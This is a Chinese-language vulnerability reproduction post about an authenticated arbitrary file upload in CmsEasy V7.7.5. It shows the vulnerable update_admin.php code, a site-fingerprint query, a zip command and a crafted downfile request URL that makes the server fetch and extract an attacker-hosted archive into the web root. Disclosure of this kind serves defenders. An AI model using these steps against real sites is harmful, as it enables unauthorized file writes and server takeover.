奇安信攻防社区-CmsEasy update_admin.php 后台任意文件上传漏洞

CmsEasy update_admin.php 后台任意文件上传漏洞

# CmsEasy update_admin.php 后台任意文件上传漏洞 ## 漏洞描述 CmsEasy 后台存在任意文件上传漏洞，通过文件 service.php 加密Url参数执行即可上传任意文件 ## 影响版本 CmsEasy V...

CmsEasy update\_admin.php 后台任意文件上传漏洞
====================================

漏洞描述
----

CmsEasy 后台存在任意文件上传漏洞，通过文件 service.php 加密Url参数执行即可上传任意文件

影响版本
----

CmsEasy V7.7.5\_20210919

网络测绘
----

body="cmseasyedit"

环境搭建
----

<https://www.cmseasy.cn/chm/faq/show-645.html>

![img](https://shs3.b.qianxin.com/butian_public/f8858907a807fd161a72acb80b6d26aff04bf271f52de.jpg)

漏洞复现
----

主页面

![img](https://shs3.b.qianxin.com/butian_public/f212571d73e38199ea15acd989fa39ce797497b7e0fa0.jpg)

存在漏洞的文件为 `lib/admin/update_admin.php`

![img](https://shs3.b.qianxin.com/butian_public/f6602164286d7f9edb6785a3cc2ceef6d385b5dfd5b4a.jpg)

其中需要注意的代码为

```php
function downfile_action()
    {
        $url = front::get('url');
        $url=service::getInstance()->unlockString($url,"cmseasy_url");
        $res = $this->get_file($url, 'cache');
        if (!$res) {
            $res = array(
                'err' => 1,
                'data' => lang_admin('update_package_download_failed'),
            );
        } else {
            @unlink('upgrade/config_cn.php');
            @unlink('upgrade/config_cn.tmp.php');
            @unlink('upgrade/upgrade.sql');
            @unlink('upgrade/command.php');
            front::remove(ROOT.'/cache/data');
            front::remove(ROOT.'/cache/template');//清空全部语言
            $langdata=getlang();
            if($langdata != ""){
                foreach ($langdata as $key=>$val){
                    front::remove(ROOT.'/cache/'.$val['langurlname']);
                    front::remove(ROOT.'/'.$val['langurlname'].'/template');
                }
            }
            //先清空缓存
            user::deletesession();
            category::deletesession();
            //提取分类
            if(file_exists(ROOT."/lib/table/type.php")) {
                type::deletesession();
            }
            //提取专题
            if(file_exists(ROOT."/lib/table/special.php")) {
                special::deletesession();
            }
            $archive = new PclZip('cache/patch.zip');
            $archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);

if(file_exists('upgrade/upgrade.sql')) {
                $sqlquery = file_get_contents('upgrade/upgrade.sql');
                $sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);

$sqlquery = str_replace("\r", "", $sqlquery);
                $sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
                $this->exec_cms_sql($sqls);
            }

if(file_exists('upgrade/command.php')){
                include ROOT . '/upgrade/command.php';
            }
            $res = array(
                'err' => 0,
                'message' => $this->message,
                'data' => lang_admin('upgrade_successful'),
            );
        }

echo json_encode($res);
        exit;
    }
```

其中使用 unlockString 和 get\_file 方法

```php
$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');
```

![img](https://shs3.b.qianxin.com/butian_public/f8313096b3256a7947c175c5136cf11d4baa0cf8e7fbb.jpg)

写入后在上层目录写入文件，即Web根目录，创建压缩包并上传可访问的服务器上

```php
zip phpinfo.zip phpinfo.php
```

构造下载请求

![img](https://shs3.b.qianxin.com/butian_public/f9753511e419abf6a492a58fa942202b118e4956b5fb6.jpg)

```php
/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxw
```

![img](https://shs3.b.qianxin.com/butian_public/f730936f50e5bf812825db6d6e7cf713e4170b130220f.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f850071ca0f78c7910705308e5542dcee8519072cd461.jpg)

发表于 2024-07-12 18:43:30
阅读 ( 1109 )
分类：CMS

CmsEasy update_admin.php 后台任意文件上传漏洞

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